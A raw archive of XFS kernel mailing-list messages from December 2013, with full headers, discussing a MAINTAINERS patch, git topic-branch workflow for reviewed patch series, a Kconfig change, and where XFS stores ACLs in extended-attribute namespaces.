1386972078-04cb6c537d720880001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id CpmjzNTdZMjDCKO6 for ; Fri, 13 Dec 2013 14:01:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhsTAGiDq1J5LHyk/2dsb2JhbABTBoMKOIMEoSsDjzSFT4EkF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIAw7KfRcWjQWBN0MHhDYEmBWSFYM+KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 08:31:13 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VranG-0005kQ-BA; Sat, 14 Dec 2013 09:01:10 +1100 Date: Sat, 14 Dec 2013 09:01:10 +1100 From: Dave Chinner To: Ben Myers Cc: Christoph Hellwig , Zhi Yong Wu , Zhi Yong Wu , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file Message-ID: <20131213220110.GW10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file References: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> <20131213163131.GC20803@infradead.org> <20131213202747.GL1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213202747.GL1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386972078 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 02:27:47PM -0600, Ben Myers wrote: > On Fri, Dec 13, 2013 at 08:31:31AM -0800, Christoph Hellwig wrote: > > Looks good, > > > > Reviewed-by: Christoph Hellwig > > Also discussed here: > http://oss.sgi.com/archives/xfs/2013-07/msg00024.html > > Before pulling this in we should probably let Dave give another 2c. Well, I stand by what I wrote in that thread. There is absolutely nothing wrong with having xfs@oss.sgi.com listed as a maintainer; different and unusual doesn't mean it is wrong. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Dec 13 16:44:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0E3FC7F52 for ; Fri, 13 Dec 2013 16:44:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EFA8E304051 for ; Fri, 13 Dec 2013 14:44:49 -0800 (PST) X-ASG-Debug-ID: 1386974671-04cb6c537c721a80001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Eu6PjCwjviETbshD for ; Fri, 13 Dec 2013 14:44:32 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ah0TAMKMq1J5LHyk/2dsb2JhbABZgwo4gwShKwOPNIVPgSQXdIIlAQEEATocGAQHBQsIAw4KCSUPBSUDIRMeh14HywsXFo5/B4Q2BJQzg2KSFYM+KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 09:14:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VrbT3-0005ro-HU; Sat, 14 Dec 2013 09:44:21 +1100 Date: Sat, 14 Dec 2013 09:44:21 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131213224421.GY10988@dastard> X-ASG-Orig-Subj: Re: [RFC] Handling of reviewed patch series References: <20131213053611.GQ10988@dastard> <52AB0EC1.4000500@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52AB0EC1.4000500@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386974671 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143076 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 08:42:25AM -0500, Brian Foster wrote: > On 12/13/2013 12:36 AM, Dave Chinner wrote: > > Hi folks, > > > ... > > What I'd like to do is publish each of the reviewed branch in the > > XFS git repos on oss.sgi.com as completed and ready-to-go code. This > > is a bit different to what we do now - normally Ben would come along > > and merge the series straight into the master branch, then update > > the for-next branch to point at it. > > > > The issue with this is that it then makes our lives more difficult > > when we get a bug fix that has to go into the master branch and be > > sent to linus for an -rc kernel before all the development code that > > is already checked into the master branch. > > > > What I propose is that the xfs-oss/master branch tracks the Linus > > -rc1 releases, and we never check code directly into the master > > branch except in exceptional circumstances. i.e. we try to only > > ever pull back down from Linus into it. Exceptional circumstances > > would be work that causes widespread rebasing, like all of the > > structural rework that we've done recently. The structural work > > would go into the master branch immediately after a -rc1 update, and > > the next cycle's work and topic branches then based on top of that. > > > > What this means is that the "for-next" branch is no longer based > > on the master branch - it becomes the development branch we work on, > > and is effectively a merge of all the topic branches. i.e like the > > -next tree, it is a branch that can be rebased without impacting the > > history of the code in the topic branches because it's just a merge > > target. > > > > Is the merge of a topic branch into the for-next branch a maintainer > duty formality here, or another "phase" we're introducing into the > development process? IOW, a developer submits patches and said patches > are reviewed and merged into a topic branch. What/when/how is said topic > branch merged into the for-next for impending upstream merge? It's purely a maintainer thing. Instead of committing the reviewed series to the master branch, it gets pushed to a topic branch, and then the topic branch is merged into the for-next branch soon after. So, really, you don't even need to know that the topic branch exists ;) > I don't see the existence of such branches as a big issue. In fact, it > would be nice to see a sort of a high/feature level index of what kind > of things are outstanding for a release, or to be able to narrow down a > regression into a particular set, etc. A more granular workflow doesn't > necessarily hurt if the maintainer(s) see it as worth the extra steps. Quite a few maintainers use this workflow as it means we don't have to fix the order of the code that is to be send to Linus weeks before the merge window. The code is in the repository and so when it was committed is recorded and that is maintained across merges. Hence Linus can see that the code has been in the repo well before the merge window and hence been subject to -next testing. The win from the maintainer POV is that we can send bug fixes to Linus in the -rc window without having to cherry pick bug fix patches out of a fixed history in the master branch - we just get linus to pull the fix directly, and then rebase the for-next branch by merging those bug fix topic branches first.. > On the flipside, topic branches alone make it harder for a > non-maintainer to actually test the whole of a release. Is it up to the > developer to merge all of the topic branches to actually test everything > and actively maintain that relationship as things change on the > maintainer end? Or are these patches pulled into a topic branch and > merged onto for-next at the same time? No, what it means is that if you want the current dev tree, you work from the for-next branch rather than from the master branch. Ideally, developers work against and send patches against the master branch rather than the for-next branch, but test against the for-next branch. To demonstrate, here's my typical workflow (the way I use guilt to manage individual feature branchs is ommitted here): # add XFS repo as a remote to a cloned Linus tree $ git remote add xfs-oss git://oss.sgi.com/xfs/xfs $ git remote update .... # create permanent test branch $ git checkout -b testing xfs-oss/for-next .... # create a new feature branch $ git checkout -b feature1 xfs-oss/master .... $ git commit $ # Integration testing: $ git checkout testing $ git reset --hard xfs-oss/for-next $ git merge feature1 $ git merge feature2 .... $ git merge featureN $ # bug fixes needed $ git checkout feature1 $ # Integration testing, need to reset branch to remove previous state $ git checkout testing $ git reset --hard xfs-oss/for-next $ git merge feature1 $ git merge feature2 .... And so the cycle goes. This is how I keep several different lines of development separate at the same time, yet I'm easily able to test them all together. You can also see how quickly and easily integrating 3rd party patches from the mailing list is when they are based on the master branch: $ git checkout -b tmp xfs-oss/master $ git am hch-log-format .... $ git checkout -b tip-log-format xfs-oss/master $ guilt init $ guilt import-commit xfs-oss/master..tmp $ git branch -d tmp $ # now I have a complete 3rd party branch, test: # Integration testing: $ git checkout testing $ git reset --hard xfs-oss/for-next $ git merge guilt/tip-log-format $ git merge feature1 .... $ 3rd party patchset good, so the only extra thing I need to do now to make it available for everyone else is this: $ git checkout -b for-next xfs-oss/for-next $ git merge guilt/tip-log-format $ $ git push .... guilt/tip-log-format:tip-log-format $ git push .... for-next:for-next $ guilt branch -d for-next Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Fri Dec 13 17:01:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E61227F52 for ; Fri, 13 Dec 2013 17:01:51 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id D0181304039 for ; Fri, 13 Dec 2013 15:01:39 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 18CF44266DC; Fri, 13 Dec 2013 17:01:06 -0600 (CST) Date: Fri, 13 Dec 2013 17:01:06 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: require 64-bit sector_t Message-ID: <20131213230106.GN1935@sgi.com> References: <20131114164603.GA13628@infradead.org> <20131213213701.GM1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213213701.GM1935@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey, On Fri, Dec 13, 2013 at 03:37:01PM -0600, Ben Myers wrote: > On Thu, Nov 14, 2013 at 08:46:03AM -0800, Christoph Hellwig wrote: > > Trying to support tiny disks only and saving a bit memory might have > > made sense on an SGI O2 15 years ago, but is pretty pointless today. > > > > Remove the rarely tested codepath that uses various smaller in-memory > > types to reduce our test matrix and make the codebase a little bit > > smaller and less complicated. > > > > > > Signed-off-by: Christoph Hellwig > > > > diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig > > index 399e8ce..5d47b4d 100644 > > --- a/fs/xfs/Kconfig > > +++ b/fs/xfs/Kconfig > > @@ -1,6 +1,7 @@ > > config XFS_FS > > tristate "XFS filesystem support" > > depends on BLOCK > > + depends on (64BIT || LBDAF) > > There are quite a few 32 bit arches in use today. We need to continue to > support them in XFS as long as they are supported by the kernel. Unless I have > misunderstood what you are suggesting, I believe the answer to this patch must > be a firm 'no'. I stepped away for a few minutes and realized my mistake. ;/ Apologies! I'll take another look at the rest of the patch. Thanks, Ben From david@fromorbit.com Fri Dec 13 17:14:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7CD387F52 for ; Fri, 13 Dec 2013 17:14:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 68DF38F8033 for ; Fri, 13 Dec 2013 15:14:38 -0800 (PST) X-ASG-Debug-ID: 1386976450-04cb6c537c7225d0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id YVQLfSQ9zs91KvGn for ; Fri, 13 Dec 2013 15:14:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhwTAL+Tq1J5LHyk/2dsb2JhbABZgwo4gwShKwOPNIVPgSEXdIIlAQEEATocHgUQCAMOCgklDwUlAyETh3wHynoXFo5/B4Q2BJgVkhWDPig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 09:44:04 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vrbvl-0005yb-Jz; Sat, 14 Dec 2013 10:14:01 +1100 Date: Sat, 14 Dec 2013 10:14:01 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131213231401.GZ10988@dastard> X-ASG-Orig-Subj: Re: [RFC] Handling of reviewed patch series References: <20131213053611.GQ10988@dastard> <20131213185618.GJ1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213185618.GJ1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386976450 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143076 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 12:56:18PM -0600, Ben Myers wrote: > Hey Dave, > > On Fri, Dec 13, 2013 at 04:36:11PM +1100, Dave Chinner wrote: > > I'd like to make a proposal and see what people think abou tit for > > managing patch series that I have been reviewed. > > > > What I'd like to do is publish the reviewed and signed-off topic > > branches that I built as in my local git tree as part of the review > > and test process. For example, I currently have two such branches > > right now - one for Christoph's log format changes, and another for > > Jeff's icluster cleanups. .... > > These branches are all based on the master branch as it currently > > stands. They have had each patch individually compile tested, they > > have been individually tested, and they've been merged into a test > > tree and tested along with every other branch I'm currently working > > on. > > > > What I'd like to do is publish each of the reviewed branch in the > > XFS git repos on oss.sgi.com as completed and ready-to-go code. This > > is a bit different to what we do now - normally Ben would come along > > and merge the series straight into the master branch, then update > > the for-next branch to point at it. > > Yes, normally I'd merge those series right about now. ;) > > > The issue with this is that it then makes our lives more difficult > > when we get a bug fix that has to go into the master branch and be > > sent to linus for an -rc kernel before all the development code that > > is already checked into the master branch. > > Yeah, that's the same issue we have during the merge window. You can't pull > stuff into the master branch until after Linus has pulled and you've pulled > back if you want a fast-forward merge the next time around. If you do pull > stuff in during the window you get a merge commit that screws up the history > graph. The workaround in later -rc requests is to cherry-pick (AKA rebase) the > bugfixes back onto the latest commit that Linus has pulled, and then there are > duplicate commits that we pull back from mainline after the next merge window > closes. It's not the prettiest thing, but better than screwing up the graph. Agreed, and even better is avoiding the problem of having to cherry-pick altogether :) > > What I propose is that the xfs-oss/master branch tracks the > > Linus -rc1 releases, and we never check code directly into the > > master branch except in exceptional circumstances. i.e. we try > > to only ever pull back down from Linus into it. Exceptional > > circumstances would be work that causes widespread rebasing, > > like all of the structural rework that we've done recently. The > > structural work would go into the master branch immediately > > after a -rc1 update, and the next cycle's work and topic > > branches then based on top of that. > > > > What this means is that the "for-next" branch is no longer based > > on the master branch - it becomes the development branch we work > > on, and is effectively a merge of all the topic branches. i.e > > like the -next tree, it is a branch that can be rebased without > > impacting the history of the code in the topic branches because > > it's just a merge target. > > > > What this means is that development can be done against the > > master branch without fear of conflicting with other changes > > that are being done. Testing, however, can target the for-next > > branch, and local integration testing can be done simply by > > merging a local topic branch into a local for-next branch.... > > I'm not too keen on rebasing a published branch, mostly because I > tend to log test results by commit id. If there is a way to keep > the initial commit id stable and in the repo so it can be > referenced later it would be better. e.g. In the [unlikely] > event that the for-next branch does need to be rebased, tag it > first. Well, I'd be surprised if we have to rebase the for-next branch very often. If we plan things correctly (e.g. delay disruptive topic branchs to the next release, and merge them immediately after an -rc1 update) I think we can effectively avoid rebases. The difference is that if we ever need to do a rebase, we can. It also means that we can commit the disruptive series to a topic branch once it is complete, but we don't have to merge it into for-next immediately - it can sit there and wait for the next -rc1 update to roll around. That way we can rebase the topic branch with bug fixes, merge conflict fixes, etc right up to the point that we "stabilise" it by merging it into for-next.... > > Lines of development that overlap will generate conflicts at the > > for-next branch merge, and at that point we can decide how to > > deal with the problem. e.g. turn the conflicting topic branches > > into a single, larger topic branch, live with it, etc. > > > > When it comes to sending code upstream to Linus, we can either > > send a pull request per topic branch - Linus often likes to do > > merges himself - or we can merge them all into a single branch > > and ask Linus to pull that. The deciding factor may well be > > Linus himself... > > If you take a look at merges into mainline using gitweb they look > like this: > > Merge branch 'for-linus' of git://git./linux/kernel... > > I suggest that the topic branches start with xfs. > > e.g. 'xfs-refactor-icluster-macros' would be better than > 'tip-icluster-factor'. I used the "tip" prefix simply because that is what is used in other trees for branches of this purpose. It's good to be able to just look at the branch and know from the prefix that it is a feature branch pending for the next merge window, as opposed to some development branch we are using to stage other work.... I'm open to other suggestions - having an "xfs-" prefix of some kind is definitely a good idea. Perhaps something like "xfs-14-..." where the 14 is an indicator of the merge window we are queuing it for (i.e. 3.14)? That way we end up with "xfs-13-rc6-*" as the branch prefix for bug fixes that need to be sent to linus in the 3.13-rc6 cycle.... Any other ideas? > > However, what this structure means is that urgent bugs fixes > > canbe placed into their own topic branches - an "urgent-*" > > prefix is often used for these by other maintainers - and Linus > > can pull directly from the topic branch without us having to > > worry about cherry-picking out of the middle of the master > > branch and all the pain that entails. > > Cherry-picking is not all that painful, but a a 'misc' branch, or > 'urgent' seems fine to me too. I do prefer an xfs- prefix and to > send signed tags in pull requests... It's more that cherry picking screws up the history once we merge back down from Linus' tree. Remember all the duplicate commits that resulted from sending all those bug fixes in the 3.10-rc cycle? :/ > > It also allows us much more flexibility in managing the code and > > how it is send upstream. It also makes it possible to push code > > earlier for wider testing without being stuck with that code > > forever - it's trivial to drop a topic branch if it causes > > unexpected regressions or problems without leaving nasty reverts > > all over the history. > > > > Yes, this is a bit of a change in the way we do things, but it > > aligns much more closely to the distributed nature of how we > > develop the code. I'm going to push the two topic branches I > > mentioned above into the oss repository so people can have a > > look at them and get a feel for how such a process might work > > and so we can reference them during the discussion. > > Lets see if I understand correctly (and I'll take some of my own > advice from above). I'll pull 'tip-icluster-factor' into a local > branch named 'xfs-refactor-icluster-macros', and merge it into our > for-next branch along with the other series. This will get them > into -next, and we can still toss it later if it's not what you > had in mind. Well, ideally when one of us pushes out or appends to a topic branch, we merge it into for-next at the same time. If we need to rebase the for-next branch, then we need to discuss it first and take appropriate actions... > > Essentially, I want to speed up the rate at which we get code > > integrated without the risk of making a big mess by committing > > to code too quickly. Keeping code in topic branches like this > > solves that problem, and the fact that it closely aligns to my > > normal workflow makes it very appealing to me as a > > Maintainer.... > > > > Keep in mind that I want to do the same thing for major pieces > > of work with xfstests and xfsprogs - keep work in topic branches > > until they are tested and ready to go, then merge everything > > into the master branch and cut a release. This would enable a > > much faster xfsprogs release schedule because we make a release > > at any point in time without having to worry about whether we > > have work in progress in the master branch that needs completing > > before a release is done... > > Yeah, that's interesting in light of Christoph's suggestion for a > 3.1.12 release. Probably we should try this on the kernel repo > for awhile to see how it goes. Yup, sounds like a plan... > > Anyway, have a think and discuss - I'm going to push the > > branches I mentioned above.... > > I've been tracking message id and patchwork id in git notes along > with commits for awhile. I'm hoping this will become useful later > for cross referencing the list, patchworks, and test results. If > you wouldn't mind also doing so I'd appreciate it. Maybe it could > be done with a post-commit script or something. There's no notes in the repo of oss.sgi.com, so I'm not sure what you are doing here. As it is, patchworks is not something I use or want to use. I capture and track patches with procmail and mutt - I really don't want to have to use patchworks just to find some arbitrary ID number that some 3rd party tool generates and add it to notes attached to a commit. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Dec 13 17:20:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B85FF7F52 for ; Fri, 13 Dec 2013 17:20:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A8AFC304043 for ; Fri, 13 Dec 2013 15:20:11 -0800 (PST) X-ASG-Debug-ID: 1386976803-04cb6c537c722840001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id FbuoXKbHgv19xY1m for ; Fri, 13 Dec 2013 15:20:04 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApEIAO+Uq1J5LHyk/2dsb2JhbABZgwqDPLBihU+BIRd0giUBAQU6HCMQCAMOCgklDwUlAyETiAPKehcWjn8HgyOBEwEDmBWSFYM+KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 09:50:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vrc1Y-0005zU-NF; Sat, 14 Dec 2013 10:20:00 +1100 Date: Sat, 14 Dec 2013 10:20:00 +1100 From: Dave Chinner To: Jeremy Allison Cc: "L.A. Walsh" , Christoph Hellwig , Samba Technical , xfs-oss Subject: Re: Security issue - storing NTACL's in non-NT-security-namespace Message-ID: <20131213232000.GA10988@dastard> X-ASG-Orig-Subj: Re: Security issue - storing NTACL's in non-NT-security-namespace References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> <20131213220848.GG1005@samba2> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213220848.GG1005@samba2> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386976803 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143077 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 13, 2013 at 02:08:48PM -0800, Jeremy Allison wrote: > On Fri, Dec 13, 2013 at 01:32:12PM -0800, L.A. Walsh wrote: > > Now NOTE: if I don't use "explicit action" (-a) in my copy: > > > > Ishtar:law/Documents> /usr/bin/cp testfile.txt testcopy.txt > > Ishtar:law/Documents> attr -l testcopy.txt > > Attribute "SGI_ACL_FILE" has a 76 byte value for testcopy.txt > > > > ONLY the root-namespace ACL is save -- the user and security > > attributes are striped. > > What is the namespace for SGI_ACL_FILE ? That's XFS's on-disk name for a posix ACL, which are kept the root namespace. It's a file ACL, not a default ACL (which are named SGI_ACL_DEFAULT), so it was placed there by the user after VFS allowed it to be created. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Dec 13 18:00:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 95EBB7F52 for ; Fri, 13 Dec 2013 18:00:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 867B78F8064 for ; Fri, 13 Dec 2013 16:00:12 -0800 (PST) X-ASG-Debug-ID: 1386979193-04cb6c537e723650001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id XO3SHoCaS97jlokZ for ; Fri, 13 Dec 2013 15:59:54 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApEIAEyeq1J5LHyk/2dsb2JhbABZgwqDPLBihU+BIRd0giUBAQU6HCMQCAMOCgklDwUlAyETiAPKexcWjn8HhDYEmBWSFYM+KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 14 Dec 2013 10:29:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vrce8-00065u-9e; Sat, 14 Dec 2013 10:59:52 +1100 Date: Sat, 14 Dec 2013 10:59:52 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [RFC] Handling of reviewed patch series Message-ID: <20131213235952.GO31386@dastard> X-ASG-Orig-Subj: Re: [RFC] Handling of reviewed patch series References: <20131213053611.GQ10988@dastard> <20131213185618.GJ1935@sgi.com> <20131213231401.GZ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213231401.GZ10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386979193 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143078 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Dec 14, 2013 at 10:14:01AM +1100, Dave Chinner wrote: > On Fri, Dec 13, 2013 at 12:56:18PM -0600, Ben Myers wrote: > > On Fri, Dec 13, 2013 at 04:36:11PM +1100, Dave Chinner wrote: > > > like the -next tree, it is a branch that can be rebased without > > > impacting the history of the code in the topic branches because > > > it's just a merge target. > > > > > > What this means is that development can be done against the > > > master branch without fear of conflicting with other changes > > > that are being done. Testing, however, can target the for-next > > > branch, and local integration testing can be done simply by > > > merging a local topic branch into a local for-next branch.... > > > > I'm not too keen on rebasing a published branch, mostly because I > > tend to log test results by commit id. If there is a way to keep > > the initial commit id stable and in the repo so it can be > > referenced later it would be better. e.g. In the [unlikely] > > event that the for-next branch does need to be rebased, tag it > > first. > > Well, I'd be surprised if we have to rebase the for-next branch very > often. If we plan things correctly (e.g. delay disruptive topic > branchs to the next release, and merge them immediately after an > -rc1 update) I think we can effectively avoid rebases. The > difference is that if we ever need to do a rebase, we can. FWIW, I just realised that this isn't a huge problem. Rebasing the for-next branch by remerging topic branches is not going to change the commit IDs of the commits in the topic branches - it only changes the commit ID of the merge commits. Hence if you are tracking commit IDs of the patches rather than the merges, a for-next rebase won't affect your tracking at all. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bounce@ndms.biz Fri Dec 13 22:36:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.2 required=5.0 tests=HTML_MESSAGE,NORMAL_HTTP_TO_IP autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1FAA67F52 for ; Fri, 13 Dec 2013 22:36:37 